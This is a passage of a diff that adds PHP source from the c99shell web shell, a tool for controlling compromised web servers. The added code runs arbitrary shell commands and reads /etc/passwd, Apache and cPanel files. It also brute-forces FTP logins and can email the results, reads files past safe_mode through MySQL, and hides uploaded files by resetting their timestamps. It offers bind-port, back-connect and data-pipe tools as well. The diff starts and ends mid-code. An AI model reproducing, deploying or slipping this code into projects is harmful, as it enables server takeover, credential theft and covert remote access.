+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo "[Pages] ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "^";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "^";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo " Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ^ ";
+ }
+ echo " Base convertations :dec2hex - ";
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "search"){
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."] ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = "[Info] ".$checkbox;}
+ else {$row[] = "[Info] [Change] [Download] ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ^";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+ $bndportsrcs = array(
+ "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
+ "c99sh_bindport.c"=>array("Using C","%path %port %pass")
+ );
+ $bcsrcs = array(
+ "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+ "c99sh_backconn.c"=>array("Using C","%path %host %port")
+ );
+ $dpsrcs = array(
+ "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+ "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+ );
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
